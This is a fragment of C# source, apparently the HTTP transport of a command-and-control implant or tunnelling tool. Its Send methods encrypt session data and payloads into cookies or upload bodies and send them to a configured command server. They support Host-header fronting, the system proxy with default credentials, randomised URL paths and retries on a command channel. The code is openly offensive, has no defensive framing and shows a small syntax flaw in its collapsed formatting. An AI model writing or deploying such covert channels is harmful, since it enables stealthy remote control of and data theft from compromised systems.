public List <byte> Send(IExitableTarget target, String status, List <byte> payload, out bool commandChannelDead) { String sessionPayload = target.TargetId; commandChannelDead = false; if (String.IsNullOrWhiteSpace(status)) { status = "nochange"; } var sessionAndStatus = sessionPayload + ":" + status; var encryptedSessionPayload = _encryption.Encrypt(UTF8Encoding.UTF8.GetBytes(sessionAndStatus).ToList()); var cookies = new CookieContainer(); WebClientEx wc = null; if (!String.IsNullOrWhiteSpace(_config.HostHeader)) { wc = new WebClientEx(cookies, _config.HostHeader, _config.InsecureSSL) { UserAgent = _config.UserAgent } } ; else { wc = new WebClientEx(cookies, _config.InsecureSSL) { UserAgent = _config.UserAgent } }; if (_config.UseProxy) { if (null == _config.WebProxy) { wc.Proxy = HttpWebRequest.GetSystemWebProxy(); wc.Proxy.Credentials = CredentialCache.DefaultCredentials; } else { wc.Proxy = _config.WebProxy; } } wc.Headers.Add("Host", _config.HostHeader); cookies.Add(new Cookie($"{_config.SessionCookieName}", $"{encryptedSessionPayload}") { Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host }); string encPayload = null; if (null != payload && payload.Count > 0) { try { encPayload = _encryption.Encrypt(payload); if (String.IsNullOrWhiteSpace(encPayload)) { _error.LogError("Encrypted payload was null, it shouldn't be"); if (!InitialConnectionSucceded.HasValue) { InitialConnectionSucceded = false; } wc.Dispose(); return(null); } } catch (Exception ex) { _error.LogError(ex.Message); wc.Dispose(); return(null); } } bool retryRequired = false; Int32 retryInterval = 2000; UInt16 retryCount = 0; Guid errorId = Guid.NewGuid(); do { try { String response = null; if (encPayload != null && encPayload.Count() > 4096) { response = wc.UploadString(BuildServerURI(), encPayload); } else { if (null != _config.HostHeader) { if (wc.Headers.AllKeys.Contains("Host")) { if (wc.Headers["Host"] != _config.HostHeader) { wc.Headers["Host"] = _config.HostHeader; } } else { wc.Headers.Add("Host", _config.HostHeader); } } if (payload != null && payload.Count() > 0) { cookies.Add(new Cookie($"{_config.PayloadCookieName}", $"{encPayload}") { Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host }); } response = wc.DownloadString(BuildServerURI()); } if (!InitialConnectionSucceded.HasValue) { InitialConnectionSucceded = true; } if (null != response && response.Count() > 0) { wc.Dispose(); return(_encryption.Decrypt(response)); } else { wc.Dispose(); return(new List <byte>()); } } catch (System.Net.WebException ex) { var lst = new List <String>(); if (WebExceptionAnalyzer.IsTransient(ex)) { if (15 > retryCount++) { _error.LogError($"Error has occured and looks like it's transient going to retry in {retryInterval} milliseconds: {ex.Message}"); retryRequired = true; if (retryInterval++ > 2) { retryInterval += retryInterval; } Timeout.WaitOne(retryInterval); } else { _error.FailError($"Kept trying but afraid error isn't going away {retryInterval} {ex.Message} {ex.Status.ToString()} {_config.CommandServerUI.ToString()} {errorId.ToString()}"); commandChannelDead = true; wc.Dispose(); return(null); } } else if (sessionPayload == _config.CommandChannelSessionId) { if (!RetryUntilFailure(ref retryCount, ref retryRequired, ref retryInterval)) { lst.Add("Command channel re-tried connection 5 times giving up"); ReportErrorWebException(ex, lst, errorId); commandChannelDead = true; wc.Dispose(); return(null); } retryRequired = true; } else { ReportErrorWebException(ex, lst, errorId); if (HttpStatusCode.NotFound == ((HttpWebResponse)ex.Response).StatusCode) { if (_error.VerboseErrors) { _error.LogError(String.Format($"Connection on server has been killed")); } } else { _error.LogError(String.Format($"Send to {_config.URL} failed with {ex.Message}")); } wc.Dispose(); return(null); } } } while (retryRequired && !target.Exit); if (!InitialConnectionSucceded.HasValue) { commandChannelDead = true; InitialConnectionSucceded = false; } wc.Dispose(); return(null); } bool RetryUntilFailure(ref UInt16 retryCount, ref bool retryRequired, ref Int32 retryInterval) { if (5 <= retryCount++) { return(retryRequired = false); } _error.LogError($"Command Channel failed to connect : retry interval {retryInterval} ms"); Timeout.WaitOne(retryInterval); retryInterval += retryInterval; return(true); } Uri BuildServerURI(String payload = null) { if (null != _config.Tamper) { return(new Uri(_config.Tamper.TamperUri(_config.CommandServerUI, payload))); } if (_config.URLPaths.Count() == 0) { return(new Uri(_config.URL, "Upload")); } else { var path = _config.URLPaths[_urlRandomizer.Next(0, _config.URLPaths.Count())]; return(new Uri(_config.URL, path)); } } void ReportErrorWebException(System.Net.WebException ex, List <String> lst, Guid errorId) { lst.Add(ex.Message); lst.Add(ex.Status.ToString()); lst.Add(_config.CommandServerUI.ToString()); lst.Add(errorId.ToString()); _error.LogError(lst); } }
public List <byte> Send(IExitableTarget target, List <byte> payload, out bool commandChannelDead) { return(Send(target, "nochange", payload, out commandChannelDead)); }